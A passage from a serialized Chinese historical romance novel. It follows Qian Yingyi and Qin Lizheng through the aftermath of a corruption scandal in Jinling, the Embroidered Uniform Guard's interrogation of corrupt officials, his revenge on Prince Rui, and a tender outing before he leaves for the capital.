钱林野在翰林院做了几年编修,自然也十分敏锐,牵出一缕叹息,“金陵的官场动荡,今日过去,必定是这个请去问一问,那个请去喝一喝茶,一时之间,只会是人心惶惶。” 钱兰亭跟着点头,疲态尽显,显然是刚从工部回来没多久,跌靠在椅上。 对于燕家发生的事,他只是叹道:“既为官,又不该一门心思要贪,如今落得个尸骨无存的下场,贪来的东西半点没享受成,早知如此,当初又何必为了银子算计这个算计那个,兜兜转转,死了一了百了,可苦的百姓又该找哪个去评说呢?” 他年轻时便治家严谨,今番听闻此事,更是一再对钱林野强调,“记着爷爷同你说过的话,身为钱家子弟,无论是做人做事,要对得起坦荡清白这几个字。” 钱林野自是沉声应下。 钱映仪心里的滋味芜杂得说不清,她见雨势渐小,便干脆起身道:“我先回房了。” 提着灯笼一路行至云滕阁,推门进屋,便见秦离铮孤坐榻上,屋子里也没点灯,水晶珠帘折晃出一丝细微的光映在他的脸上,尤显飘渺。 她倏然眼眶一热,稀稀散散的水晶珠子扑在她的肩头,停了片刻,她便猛然跑上前抱住了他,也不说话,只默然抱紧他。 秦离铮稍有惊愕,闻听她在细细啜泣,忙把她拉起来细看,顺手点了一旁的银釭,嗓音软了又软,“好好的,怎么还哭了?别哭,别哭,你今日被吓着了,是不是?” “太不真实,”钱映仪垂着眼,吸着鼻子叹了声,“原来生死就在一念之间。” 瞥见他身旁高几上隔着一个四四方方的锦盒,她反手拿指腹揩拭泪痕,问,“这是什么?” 秦离铮起身牵着她的手往案前走,顺势把锦盒打开,“是燕如衡在死前赠给范宝珠的,我还没看,但我猜,里面或许有些什么东西,是他想借范宝珠的手传递出来的。” 钱映仪轻轻点了点下颌,抿着唇,把锦盒打开,把里头的东西一一拿出来细瞧。 两封信,一封叠得整齐的血书,一张未过明路的宅契,几张百两银票,还有一颗毫无杂质的宝石珠子。 钱映仪静静看了片刻,把其中一封信和宝石珠子复又放回锦盒里,“这信,和这颗珠子,是他留给范宝珠的,我不该看。” 旋即她拆开另一封无名信,在灯下展开,缓和的火苗照亮信上工整的字迹,一气看完,她心头益发喘不过气。 攥着信闭了闭眼,她的嗓音酸涩得要命,“阿铮,他算到了,他算到了你会拿到这个盒子,这信看着是写给你的,其实也是写给我。” 钱映仪把信递给秦离铮,轻声道:“先前在静海寺,我暗中劝诫他善恶只在一念之间,我知道,他帮着燕榆做了那样多的恶事,无法原宥,兴许他自己也知道,所以他将自己最后的善切割成了三份。” “一份给了宝珠,撇清与范家的关系。” “一份给了那位冯太太,大约是知道火势会毁了冯宅,这张未过明路的宅契便是赠与冯太太的。” “最后一份,留给了他的亲娘,拜托你把这几百两送往凤阳。” 钱映仪倏然深深吸气,胳膊肘支在案上,掌心捂着脸,“他是用自己的善,结束了自己的恶。” 秦离铮垂眼看着这封信,说不上悲伤,却也说不上高兴 。他依旧只是泠然旁观,只是人心肉长,他难免也有一分动容。 搁下信,他又捡起那封血书,细细扫过后,再开口,嗓音也夹杂着一丝难以察觉的沉重,“是供词,揭发燕榆犯下所有罪恶的供词。” 钱映仪把脸闷在掌心里,仔细想了想,还想说些什么,却发现兜兜转转,只剩下一声叹息。 或许她能为燕如衡之死而叹息,燕如衡已然身死,死得干干净净,可跟在燕榆身后站在百姓身上吸血的也是他,她亦绝对做不到对他产生怜惜。 这桩事发生得太过突然,钱映仪心中憋闷,连笑都挤不出来,只能拉着秦离铮紧紧靠着。 可一闭上眼,脑中满是燕宅滔天的火势,满是那些尖叫着四处逃窜的丫鬟小厮。 她不由得紧紧环着秦离铮的腰身,渐渐地,一股寒凉与惶然自心底往上窜,“我好怕。” 钱映仪觉得自己像一片轻飘飘的羽毛,她有尖锐的羽尾,也有柔软的羽身。 正如她那日所言,她一直活在温室里,在小事上,她被欺负了,可以利用尖锐的羽尾去反击。譬如那俞敏森先前拿箭射她,她也能毫不留情射回去。 可在这样直观的生死面前,她的羽尾失去了作用,她只剩柔软的羽身,金陵落了半夜的雨,她便好似被雨水重重击打在地,她翻滚许久,却还是有些爬不起来。 她难免无措,只能攀着秦离铮,一遍遍低喃,“我真的怕” 秦离铮明白她在怕什么,也正如她那日在静海寺的戏言,这世上没有什么是一成不变的,即便她果敢坚韧,敢爱敢恨,可说到底,她也从未见识过这般残酷的一面。 燕如衡的死,像是一卷没有鲜血却依旧血淋淋的画,悬在她眼前,让她看不见鲜血,却嗅得到那股血腥味。 迟迟不能散。 因此,秦离铮展开双臂环住她,一遍遍耐心跟着回答,“有我在,不要怕,映仪,不要怕” 渐渐地,钱映仪情绪平缓下来,秦离铮便往她脸上亲了亲,拇指拭走她眼梢的湿润,笑道:“先前答应过我不许随随便便就哭,你可要做到。” 钱映仪这时候方察觉他的手指格外冰凉,忙一把攫紧在掌心,眼睛盯着他,一副心肠转了转,问,“你抓到瑞王了,是不是?” 秦离铮挺拔的肩背稍有些塌,猛然俯身靠近她,整张脸都埋进了她的颈侧,贴着她那小部分的软肉来回蹭,“嗯,不说这个,好不好?让我好好抱一抱你。” 他此刻或许也在“逃避”,“逃避”自己的恨,不想铺展在她面前,钱映仪心里明白,嗓音倏柔,回拥着他,“我会一直陪着你。” 外头只剩淅淅沥沥的雨声,整个世界复又宁静下来,屋子里烧着宁心静气的沉香。 两人褪去鞋袜爬进帐子里,钱映仪的颈后垫着他的胳膊,她握着他另一只手揉捏,向他从前习惯捏自己的指头一样,一下一下摁着。 秦离铮这会倒是静敛心神,垂着眼,好笑往她发顶亲了下,“我说不说这个,也不是叫你一直都不说话,你这模样,活脱脱像我欺负了你,你迫于我的威势不敢吭声。” 他有意逗弄,钱映仪每每都十分受用,她果真坐起身来把他捶一捶,泼口想骂,见他眼眉间有些疲态,话到嘴边又打了个转,“你睡不睡?” 秦离铮把眉轻扬,窜下去的身躯渐渐火热,搂着她不撒手,把脸在她腰侧来回蹭,“唔”了一声,拿腿把她有些冰凉的脚困住,“早着呢,你还向先前那样,睡前与我说话,不听见你说,我睡不着。” 一席话说出口,先前的沉闷尽扫,钱映仪的双脚渐渐回暖,牵带着她稍有酸涩沉寂的心也彻底活了过来,当即笑出声来,跟着往下窜,两个一起倒在被衾里。 面对面说话时,钱映仪总爱把两个掌心合拢,垫在一侧腮肉下,挤出圆圆一道弧度,说起话来,那一小团肉便一上一下地动,“嗳,我对京师的记忆有些模糊了,你多同我讲一讲。” 秦离铮笑,没忍住拿指头轻戳她那一块肉,惹来她不耐烦一瞪,他方老实收回手,仔细想了想,知她贪嘴,便从“吃”上说起来,“金陵没有跑腿送饭的差事,你可还记得京师有一群食贩专门做这个?” 钱映仪眨眨眼,闷头想了半日,猛然绽开一个笑,“想起来了,那班人专替衙门里的官员送饭对不对?” 此话一出,她短暂模糊的记忆倏然变得清晰,翻了个身,盯着帐顶回忆道:“那时我也馋这个呢,嗯我想想,有胡饼,酱黄瓜,红烧肉豆腐汤,手艺比家里的厨子好多了。” “我还是跟着我爹去过几回衙门,跟着吃上的,”钱映仪的嗓音很轻,一点点说起从前,“那时候衙门的饭食没半点油水,日日吃咸菜,我爹都快瘦成咸菜了,起先他还不肯学同僚那样偷偷往外头买饭食呢,后来尝过一回,就再也没吃过衙门里的饭了。” 她一气说了许多,秦离铮大多时候只笑着应声,待她这番话说尽,秦离铮复又另挑出个只在京师有的东西来勾起她的记忆。 渐渐地,钱映仪说得眼皮打架,横手揉了揉眼梢,歪在被衾里睡了过去,临睡前,大约是心里头惦记着秦离铮,便口齿含混地说了一句,“你也早些睡,不要伤心。” 待她平缓的呼吸渐起,秦离铮垂眼看她乖顺的睡颜半日,便轻轻把她兜揽进怀里。 她的发丝透着一股清浅的茉莉香,像她这个人,柔软,坚韧,却又带着最干净的那点纯真。 她讲不要他伤心,秦离铮细细想了片刻,旋即牵出一抹无声的笑。 她说得对,他已拥有不可撼动的爱,不该总让自己陷在伤心里。他俯身往她头顶印下一吻,回答她,“知道了,好映仪。”—— 作者有话说:两个人都能懂彼此,温馨过了,下章开始复仇! 俞敏森坏,就需要个更坏的郭月来治他—— 第52章 一场爆炸使得金陵整个官场跟着震了十来日,皇上指派锦衣卫指挥使来金陵私查贪官之事在金陵闹得沸沸扬扬。 这日晴色正好,外头行人却少了一大半,因何呢?自然是怕城门失火,殃及池鱼,无人敢在外头多逗留,连市井吆喝声响都小了不少,独独剩那上门逮人的马蹄声震耳欲聋。 燕如衡带着燕榆夫妻炸碎在火药里,燕家几门往日还常走动的亲戚有心要发丧,却碍于案件没拍定,不敢有什么动作。 外头虽暖和,诏狱里却冷得像座冰窟,明火烤着滚烫的铁钳,审问房里延绵出浓重不散的残旧血腥气,秦离铮眉目淡然,独坐椅上,垂眼盯着身前的一片湿痕,只静静等着,一句话也不讲。 锦衣卫把蔺边鸿从一缸温热的油里倒提出来,没等到指挥下令,复又重重把他扔下去。 油稍粘稠,且带着几分滑腻,钻在蔺边鸿的眼耳口鼻里十分要命,他一连迭地扑通挣扎,却仍咬紧牙关不肯说出贪墨细节。 因燕榆身死的缘故,大部分的审问细节都压在他的身上。 见他犟着不说,秦离铮维持缄默,片刻,抬了抬手。 王弋被堵着嘴,手脚被捆在刑架上,两侧时刻站着锦衣卫,脖子前悬着一把锋利的刀。 自前日开始用刑起,他便没阖过眼,虽连根头发丝都没断,在反复陷入疲倦要睡去时,总有锦衣卫在一旁轻声提醒,“王大人,您可千万别睡,睡了,您这脖子是不是会被割开,咱们可不能保证。” 因而他的支撑力已将达到极限。这厢又欲阖上眼,那把刀猛然贴近他,喉间霎时冰凉,连带着他身躯里的血液都变得冰冷,痛苦万分之下,他终于受不了,骇目圆瞪“呜呜”两声。 锦衣卫揭走堵在王弋嘴里的苎麻团,秦离铮方轻撩眼皮望向他。 王弋大喘一口气,绝望喊道:“我说!我说!” 秦离铮笑了笑,目光掠向蔺边鸿,“看来,还是王大人比较识趣。” 接下来的半个时辰里,王弋仔仔细细交代了整个应天府,乃至两个直辖县,上元,江宁,上上下下究竟有多少官员涉身贪墨。 锦衣卫忙不迭地又去抓人。 下晌时,锦衣卫一连锁着二十来号身穿补服的官员进了诏狱。 上至县衙,有正六品知县,下至局、司、所,有九品都税司大使,批验所大使,龙江关监管大使等。 这班官员早已私下形成一条贪墨链,各项物资往上运时,先通过龙江关,走王弋的手私自扣押,旋即分散至都税司,以物资有误为由 ,几双手如同赌坊里的荷官洗牌,一番运转下来,彻底洗干净,各自拿下回扣,再将大头奉送至应天府。 除了粮食、绸缎、农作棉花这等物资,还联合不少商户在盐引、茶引上造假,商户凭盐、茶钞运送盐茶。 譬如官员暗自使出一笔贪来的银子,以商户的手缴纳盐价与税,再发以比往常要多两倍不止的盐引,兜兜转转,多出来的盐几经转手,又变成了银子进了荷包。 自外头灌进来的风打了几个转,再吹进诏狱内部时,变得凛冽,使人胆寒。 有几个锦衣卫正是十七八岁的年纪,年少轻狂,血液沸腾,最见不得这样的阴私手段,暗自咬牙片刻,便一记横踢踹跪一名官员,“畜牲!” 秦离铮剔眼望向一班暗自打颤的官员,问,“所以,这些银子,有多少落进了你们的荷包,又有多少孝敬给了燕榆与蔺边鸿?” 官员们惶然对视,那龙江关大使牙关打颤,“卑卑职记不太清了” “记不清?”秦离铮牵出个还算缓和的笑,把下颌轻点,“行,我记着,您姓袁。” “那便先请袁大人醒醒脑子。” 话音甫落,锦衣卫两三下把袁大人的外袍给扒光,露出稍显瘦弱的上半身,取来长条凳,手下稍一使劲便把他给摁躺在长条凳上。 旋即往袁大人身上挪来一张四方桌,桌子中心打了个圆孔,里头是一个嵌得没那么死的圆形杯盏。 锦衣卫往里头倒了二指宽高的蜂蜜,下一刻,便持着火钳去火堆里挑那烧得火红的铁球。 秦离铮懒洋洋起身,步履缓慢,在一班官员面前来回踱步,“常听说金陵的蜂蜜比京师的要甜,诸位大人可知,这铁球放进杯盏里,会如何?” 官员们吓得双腿发软,单是看那铁球一眼,便忙不迭地缩紧了肩。 秦离铮噙着似真似假的笑,十分有耐心地解释起来,“蜂蜜只放了二指宽,铁球放进去,蜂蜜便会沸腾,当然了,一个铁球还不足以让蜂蜜溅出来,自然要一个个接着往里头放才算有趣,最有趣的,便是袁大人知道这滚烫的蜂蜜会溢出来,却不知何时会溢。” “嘶,倘或是水,烫一烫,去掉一层皮倒也罢了,”秦离铮回身,黑漆漆的目光扫过一众官员,在那几双惊骇颤动的眼里,他的神情愈发显得可怖,“可蜂蜜粘连在身上,是不是要在袁大人身上钻出个洞来呢?” 言罢,秦离铮敛了笑,淡然命道:“动手。” “扑通”一声,铁球霎时落进杯盏里,“咕噜噜”的沸腾声像首索命小调直往袁大人的耳朵里窜。 袁大人一双眼骇然至极,分明才过去几息功夫,他却好似已在长条凳上躺过漫长光阴,平坦的腹腔急速起伏一阵,他终于尖声喊道:“卑职记起来了!记起来了!” 四方桌被撤走,秦离铮挪眼望向脸色霎时变得惨白的蔺边鸿与面如死灰的王弋,撩起袍角往椅上坐,又一如既往守起礼节来,“那还请袁大人仔仔细细想明白了。” 半刻钟的功夫,一张罪状拟定下来。 细数下来,单数蔺边鸿这两年纳进荷包的贪银,随随便便拿出一点来,便可抵过十三省随意一省的库银。 赶巧这时候褚之言风风火火自外头进来,指骨间夹着封信件,片刻行至秦离铮身前,“皇上的意思,暂且留着他们的命,押回京师行刑,其他的,但凭指挥处置。” 一群官员眼皮子往翻一翻,好几个惶恐之下一头栽倒。 蔺边鸿浑身是油,愣神被锦衣卫扣着,下颌反反复复滴着油,他像在油锅里反复滚了无数遍,最后还是给捞了起来,汲取的那些油,自然也就一点点地往回溢。 秦离铮眼中凝聚一点冷,望向蔺边鸿,毫不留情开口,“把这些犯官的家都给抄了。” 自此,金陵贪墨的官员被揭发,锦衣卫这边同府署的魏明接头,旋即抄家的抄家,抓家眷的抓家眷。 魏明把告示张贴府署外,一时间,百姓迟迟挤在府署前不肯散,狠骂不止,又痛快跺脚,高呼大快人心。 入夜,金陵半边天都阴沉沉的,唯独秦淮两岸仍闪着金灿灿的光。自七里街往东走一长截路,是大报恩寺,寺前有条扫帚巷,住的多是些平民百姓。 正是用过晚膳的时候,家家户户点起灯笼,有些窗纱里能映出百姓在灶前洗锅的身影,临近大报恩寺的一户人家开了门闩,端着残羹饭食往狗盆里倒。 没几时,关上了门。 那条黄狗盘腿卧眠,显然这时候还不饿,正打着盹,不防一道身影猛然自拐角窜出来,一把抢走了那狗盆,旋即不顾狗吠,蹲在角落狼吞虎咽起来。 定睛一瞧,披头散发,身上的袍子脏得不见本色,浑身上下没块像样的挂坠,连脸上都脏得堆满污泥,不是俞敏森,又是何人? 那日从城墙跌下,他命大被锦衣卫接住,虽摔瘸了一条腿,却仍想着逃,那夜暴雨滂沱,一个“不慎”,就叫他给逃了。 郭淇因行迹可疑,那吏部李侍郎见风使舵,三言两语又撤了他的官职,连带着郭月也呆怔半日,复又打回原形,因与王府走得近的缘故,这些日子无人不避她如蛇蝎。 她愈是想得到什么,愈是什么都成一场空,最后只得暗暗躲在家里,连门都不敢再出了。 瑞王夫妇被擒,王府回不得,郭月又背叛自己,尚有官府衙役与锦衣卫在寻自己,俞敏森在金陵城内如同一只阴暗的老鼠躲躲藏藏,沦落至今,唯有与狗争食。 大报恩寺里的寺庙阁楼外,秦离铮垂眼淡扫俞敏森慌张进食的模样,回身望向被锦衣卫反扣双手的瑞王夫妇,笑问,“我日日带你们来瞧儿子,可还算得上善心?” 瑞王夫妇佛口蛇心,唯有一点好,便是十分疼爱膝下这位独子。 眼睁睁看着儿子沦落,甚至失去了堂堂正正做人的尊严,俞成鹤心如刀割,眼眶里爬满猩红,却因被封哑穴,只能怒瞪秦离铮。 秦离铮漠视他含恨的眼神,静等半日,等到俞敏森鬼鬼祟祟走了,便使手下解开夫妻二人的哑穴,唇畔噙着一点若有似无的笑,“我实在好奇,那夜王爷,究竟是因何要出城呢?” 他反复只问这一句。其实王弋的口供里有交代俞成鹤,可秦离铮并未把贪墨之罪安在瑞王头上,依旧只是关押他,日日问他,究竟为何出城? 倒像是逼迫他说出什么。 俞成鹤紧咬牙关,仍高扬着下颌,维持一个王爷的体面。秦离铮愈发笑得和煦,点点头,“王爷不交代,我只能再让世子多流浪一段时日了。” “我说!我说!”瑞王妃满面是泪,虽说她亦不是什么好人,可身为母亲,她早已见不得儿子如此遭罪,稍显脆弱的心智已然被逼到极限,带着点豁出去的狠,一咬牙,道:“那日我们出城,是因害怕被燕榆连累,这几年燕榆总拿银子孝敬王爷,可王爷从未动用过,我们我们出城仅仅是明哲保身而已。” 秦离铮佯装讶然,“您还贪墨?” 话音甫落,秦离铮便见瑞王眼眉里泄出一点绝望之色,他跟着敛了笑,带着点痛快,转背踩下阁楼,“王爷,别急着绝望,我带您回诏狱见一个人。” 一路押着俞成鹤夫妻踅回诏狱,甫一迈进大堂,俞成鹤便窥见一抹身影,穿着粗布麻衣,脸上如经络的疤痕可怖悚然,却淡然起身朝他俯首作揖,“王爷,多年未见,您还如当年模样。” 俞成鹤一怔,没忍住往前缓行两步,带着脚腕锁着的镣铐发出哗啦声响。他眼里凝聚着一点陌生,一点回忆,像是觉得眼前人熟悉,却又难以辨认出来。 来人便也往前走两步,露出一双泠然带恨的眼睛,肩头悬着诏狱墙上的火苗,仿佛随时能掀起他翻滚的血液,“王爷,如今再见是在诏狱,我想问您一句,当年我帮您出谋划策,您却毫不留情赶尽杀绝,这么多年午夜梦回,可有过一次后悔?” 见俞成鹤渐渐瞪大眼,来人启声,话音犹如自阴司传来,在这空荡荡的诏狱大堂里回响,“王爷,我是梁途啊。” “梁梁途”俞成鹤反复咀嚼着这稍显陌生的名字,显然过去这么多年,他早已把视作为蝼蚁的幕僚忘得一干二净,片刻,猛然想起那前半截话,不可置信愣在原地,“你没死?你没死?!” 梁途幽寂的眼回望着他,“阴司老爷见我可怜,不收我的命,命我爬回来报仇。” “王爷,”梁途轻声道:“活在阴暗里的滋味太不好受,您该还我一个公道了。” 俞成鹤彻底回过神来,目光在秦离铮与梁途之间打了几个转,蓦然吭笑大笑,眼梢里飞出的,尽是蔑视与 不屑,“单凭一人之词,就想定本王的罪,无知小儿,未免太过猖狂!” 谁知梁途只是默然脱下外袍,接着是贴里,露出胸口一记狰狞可怖的疤痕,在冷冰冰的诏狱里,他凝视里俞成鹤,眼里渐渐汇聚一团火,“王爷不记得了?” “当年恒王还未造反时,先皇命您前往京师过年,彼时世子还小,您便留王妃在金陵,只带我与另一个幕僚一同上京师,适逢傩戏,火架子不慎倒下,我替您挡了一下,自此在心口留下这一道疤。” “先皇听闻此事,曾当着满朝文武的面对我赞赏有加,王爷,我想当年的官员如今还有一大半未卸任,也记得此事,”梁途道:“不知我说的话,他们究竟是信还是不信呢?” 俞成鹤眸色轻颤,依旧冷笑,“你想诬告本王当年谋反为实?本王有丹书铁” “丹书铁券?”秦离铮蓦然打断他,冷冰冰的话语叫俞成鹤的神色一点点地陷入惶然,“王爷心中明白,有证人在,即便有丹书铁券,也无用了,谋反不可宽宥,何苦还要垂死挣扎?” 秦离铮漠然望着他,顺便提醒道:“还有一事,我现下才想起来,王爷,您聪明一世,为何不猜一猜我爹娘至今都活得好好的,究竟是谁的手笔?” “龙椅换了人坐,一切推翻重来,王爷,从古至今,没有哪个皇帝能容忍有谋逆之心的手足、皇亲、臣子。” “我替皇上卖命这么多年,皇上早已向我许诺一道空白口谕,倘或能认定您当年谋反为真,”秦离铮倏然变了副面孔,带着点阴森森的咬牙切齿,“从现在开始,您的死活,我说了算。” 一席话如棒槌敲在俞成鹤心头,他本能地感觉到恐慌,连带着往后跌退两步,本能地旋身往后逃窜,却被秦离铮嵌住肩头,猛然一把扳回身躯摁在冷冰冰的墙壁上。 下一瞬,一把匕首带着浓重的恨刺进俞成鹤的肩胛骨。 秦离铮双目里是恨与悲痛交织,一点点握紧匕首,搅/弄出湿濡的鲜血,声音像是从齿隙里挤出来,“痛吗?痛也给我忍着,我不会在金陵杀了你,相反,我要吊着你夫妻二人、连同你们儿子的命,一起跟我回京师,跪在我兄长坟前磕头,磕到奄奄一息,磕到世人皆知当年是你污蔑了我兄长!磕到我兄长在天之灵得以安息!届时再由我亲手宰了你们,这才算完!” 继而俞成鹤吃痛之下面色狰狞,秦离铮却深深吸气,遏制自己松了手,冷声命道:“把这对犯上作乱的夫妇给我好好地关押妥当了!届时随那些犯官一并回京!” 俞成鹤自知命数已定,整个人霎时如抽去三魂七魄,耳边即便盘旋着瑞王妃的哭诉,他也未有什么反应,只由着锦衣卫拉着关进了狱房里。 秦离铮收回目光,默了片刻,俯首向梁途作揖,“多谢先生,届时还请先生随我一同回京师面见皇上。” 梁途也泄出个松缓的笑,点点头,没再讲话,带着一身轻松,堂堂正正走出了诏狱,走进了繁华绚丽的金陵。 贪墨的案子与秦离铮背负的仇恨终于了结,老天爷便也似有所感,一连几日都是好天气,只道是绿杨堤畔蓼花洲,可爱溪山秀。 没了贪官,田野里割稻子的身影愈发轻快,稻田旁是一条潺潺而流的溪,农户正兜网抓鱼,天际是浓云重叠,秋色宜人,美景野趣交织,装点出焕然一新的景象。 一辆马车慢悠悠驶向田野,迎风停在一棵柳树下,缃色的车帘被素指撩起,露出钱家映仪笑意盈盈的俏脸。 她下了马车,一路跟着秦离铮行走在田野小径上,凤头履踩得石子咯吱作响,稍刻,踮起脚来,一双铮亮清透的眼睛悬过秦离铮的肩头,四面睃巡一眼,笑叹道:“没了恶人,我怎么觉得看农户秋收的感觉都不一样了。” 秦离铮依旧握着她几个指头揉捏,也跟着她笑,“可不是,小姐心里头可舒畅了?” 钱映仪暗瞥他,猛然把手抽回,扭头轻哼,端着腰往前走,“究竟是出城散心还是由你揩油?” 秦离铮紧跟着她的背影走,握着她的腰往身前揽,“嗯?把话说清楚再走,什么叫揩油?” “哎呀,外面都是人呢,”钱映仪一双眼睛四下乱瞟,几个指头复又重新粘黏回他手上,说是去掰,其实根本没用力,“你要牵我的手,回去了牵嘛。” 秦离铮歪着脸往她腮畔亲了下,顺势松开她,把两条胳膊反剪在身后,纵容她羞恼起来打自己,片刻,才笑道:“不闹了,前头有条僻静的小溪,没人,我带你去?” 钱映仪暗自抿出一个羞怯怯的笑,晃着指头去蹭他,“你说去,那就去囖。” 两人一径往前走,很是奇怪,路上有些细细的灰尘,扑在钱映仪干净精致的鞋面上,她却压根没注意,她就跟在他身侧,稍稍提起裙边,肩贴着他的胳膊。 俄延半日,行至那处僻静的小溪旁,秦离铮寻来个马扎,示意她坐,“干净的。” 钱映仪眼风似莺雀,四处瞟一眼,待看清连鱼竿都有,回过神来,凤头履自裙边伸出来踢一踢秦离铮的小腿,“好呀,你又诓我出来。” 她话虽如此说,却不见愠怒,踢过他之后又笑吟吟往马扎上坐,半扇阳光便透过树隙,斑斑点点落向她的脸,映得她脖子上的牡丹缠纹金吊坠都格外耀眼。 “我还没在外头钓过鱼呢,”钱映仪往前俯身,胳膊肘搭在膝上,两个手掌掬着自己的下巴,唯恐被他看穿自己喜欢这个只有他们的地方,因而刻意撇撇嘴,“不过我想,钓鱼也没什么意思。” 秦离铮甩出鱼竿,转头递给她,蹲在她身侧支起干柴,也不戳破她,时刻纵容她的小心思,只道:“那你想不想吃烤鱼呢?” 钱映仪眼色登时发亮,喜滋滋端坐起身,两个手紧紧握着鱼竿,顺嘴答道:“你这样说,那我倒突然觉得有那么点意思了。” 这处僻静的小溪显然是秦离铮提前寻到的,一应用具自然也是提前备下的,两人静等片刻,钱映仪没了耐性,恹恹把鱼竿一甩,“手都握疼了!” 她一惯不怎么喊疼,先前从那样高的树上摔下来都没喊过,此刻说这句话时,却拿余光悄瞥秦离铮,她仿佛突然变成了头顶那棵树上的一片脆弱的树叶,等着他来伸手接住。 秦离铮伸出手把她的手握着,俯身往她的手心一下下啄吻,一面吻,一面掀眼望向她,黑漆漆的眼底铺满她的身影。 片刻,他问,“还疼吗?” 钱映仪有些扭捏地缩了缩肩,“你做什么用这样的眼神看我,还亲我的手。” “又不是头一回了,”秦离铮扯出个放肆的笑,“怎么,害羞了?” 不是头一回?钱映仪仔细想了想,自打二人互通心意,他向来是亲她的嘴唇亲得多,或是其他的地方,手背倒也亲过,但手心 她抬起狐疑的眼,问,“你几时还这样亲过?” 秦离铮闷头想了想,“嗯我老实与你说,你不许打我。” 钱映仪没了耐心,闻听果然有自己不知道的事,忙不迭就起身绕着他打转,偏巧她今日穿着姜黄的裙,裙摆转起来像春日里的莺,“你说呀,说呀!” ” 别转,转得自己头晕,可不关我的事,“秦离铮刻意逗弄她两句,见她转个不停,干脆起身摁住她薄薄的肩,舔了舔下唇,道:“还记得在云滕阁学立剑那回吗?钱其羽说错了话,被酒呛了几口,你急起来,头发挂在了我的戒指上。” “那时候你没注意,你的手在钱其羽的腰间刮了一下,我夜里潜进你的屋子里替你上过药,便是那时候亲的。” 钱映仪有些发怔,免不得牵出心思去回想那日的情形,不待她反应,秦离铮又道:“替团姐儿做木床的那个傍晚,我也偷偷亲了你。” 窥清她愈发涨红的脸色,秦离铮没敢说出那句“夏菱也知道”,静静等她抬手打自己。 不防钱映仪羞恼过后,只暗暗剜他一眼,自鼻腔里轻哼一声,“算你坦白从宽,我不同你计较!” 既然站起来了,她便没想立即坐下,旋裙往溪边走了走,沿着几颗鹅卵石来回踩着,静了片刻,便道:“我有东西要送” “我有东西要送给你。” 二人同时启唇,对望片刻,竟又“噗嗤”一声笑了,钱映仪干脆把两条胳膊背在腰后,朝他晃一晃裙摆,“这就叫心有灵犀,你有什么要送给我呀?” 秦离铮凝望着她在阳光下亮晶晶的眼,抬手往怀里摸出一枚同心扣,向她招一招手,撩开她的衣领,绕去她身后,一点点地把细绳打了个结。 旋即又转来她身前,没脸没皮朝她伸手,“我的呢?” 钱映仪没忍住把同心扣摸一摸,抿着唇默然片刻。 她今日穿着姜黄的裙,外头是件酂白鹤纹补服,因要出城散心,罕见地背了云纹刺绣招文袋。 招文袋里鼓鼓囊囊的,不知都塞了些什么。 见秦离铮又催促,她便掀开袋口,摸出个只有掌心大小的泥人,烧制过,上了颜色,模样同她一般无二。 钱映仪掀眼望他,一点额发被微风吹开,往他身前走了半步,牵出一抹明媚的笑,“把“我”送给你,你可要当个宝贝藏好了。” 秦离铮垂眼望向塞进掌心的“她”,没忍住伸出指尖戳一戳,也跟着她笑,“什么时候去做的?” “还不是你前些日子一直在诏狱里,”钱映仪垂着白皙的颈子,脚尖有一搭没一搭踢踹石子,“我跟人学了好久呢,得亏我有天赋,心灵手巧,你不觉得同我很像?比你先前买的那个磨喝乐漂亮多了!” 秦离铮点点头,小心翼翼把“她”藏进怀里,牵起她的手往回走,“饿不饿?我真打算烤鱼给你吃。” 钱映仪“嘁”了一声,唇畔笑意却愈发浓重,“你去钓,我没耐性。” 不一时,两个一并走回马扎旁,秦离铮的耐性果真十分好,俄延半晌,便钓上几尾还在蹦跶的鱼。因他事先有准备,钱映仪遂只坐着等吃。 这时候她也想起什么,半开玩笑道:“说起来,上回在城外,你也说要烤鱼我吃呢,只是鱼还没来得及抓,我就去了树上,那回真是惊险,不瞒你说,那时候我生怕一个不留神就死了。” 谁知这话令秦离铮动作一顿,他仿佛是听不得“死”这个字从她嘴里说出来,望向她时,目光里藏着点警告。 钱映仪暗道那回把他吓坏了,自知不该说这些,悻悻吐了吐舌。 没几时,烤鱼焦香四溢,钱映仪被勾起馋虫,兴兴凑去他跟前,半日下来,倒总算把肚子给填饱了。 原本打算再往四处走走,不防半空落下几滴雨,坠在钱映仪的颈后冰冰凉凉,她缩一缩肩,勾着他的手轻晃,“要下雨了,咱们回去吧?” 秦离铮抬眼望天,见细细绵绵的雨滴逐渐清晰,便把下颌轻点,解下外袍搭在她的脑袋上,两人一并往回赶。 往回走时才发现,先前的农户仿佛是预感要下雨,早已不见踪影。 钱映仪笑了笑,跑得快了点,一径钻回马车里,拍一拍湿润的额发,挥走雨珠,才笑着去胡乱揉搓秦离铮的脑袋,“你比我淋得要湿呢!” 秦离铮浑不在意,握着她的手来回搓一搓,掀眼望她,“回去?” 钱映仪撞进他蕴着笑意的眼底,渐渐地却敛了唇畔的笑,猛然往他怀里一扑,也不说别的,只一声接一声地唤他,“阿铮阿铮” “嗯?我瞧瞧,怎么听着又像要哭,”秦离铮把她自怀里提起来,果真看清她湿润的两帘睫毛,他不由地把嗓音放得格外软,“明日我就要启程回京师了,钱映仪,你也舍不得我,是不是?” 钱映仪憋了半日的情绪终于从眼眶里流出来,忿忿抬手打他,“你知道,你知道还故意同我装!” 话音甫落,她倏然往他唇上亲,只轻轻贴着,不分开,带着稍显酸涩的不舍贴着温热的他。 秦离铮压抑半日的情绪也再由不得他控制,一点点回应她,卷走她咸湿的泪珠,他又哪里舍得她呢? 早在她掏出那个泥人时,他便想什么都统统不要管,只跟她留在金陵待一辈子,过一辈子你侬我侬的日子。 可想到他还要把她娶回家,他复又遏制了那股冲动,直到她在他眼前哭出那些不舍,他只能把这股冲动吻在她的唇上,窜进她的嘴里,勾着她的舌头交缠,只有这样,她也才能够明白,其实他也舍不得她。 他先亲得不轻不重,到后来,二人都颇有些不管不顾的架势,吻的力道愈加发狠,带着潮湿的衣衫贴在彼此身前,分明是湿冷的雨,却勾出天崩地裂的炽热。 钱映仪气息迷/离起来,感受到他温热的指头,不由地贴上去,这时候也还勉强能分出一点心神与他说话,“哈阿铮那个泥人你睡觉都得带着” 秦离铮迷恋地吻上她的唇,急躁从指尖流出,听她一声急过一声的喘息,嗓音跟着往下坠,“去哪我都带着。” 旋即他重重印着她的唇碾磨,片刻又去感受她为自己急促跳动的心,带着对彼此的依恋,听着坠落在马车顶上的雨滴,马车内好似也勾出细细绵绵的雨丝,要把彼此勾缠到地老天荒。 临近深秋,这自然是场骤雨,隔日天色晴朗,枫叶似火,清凉的风里透着一股畅意。 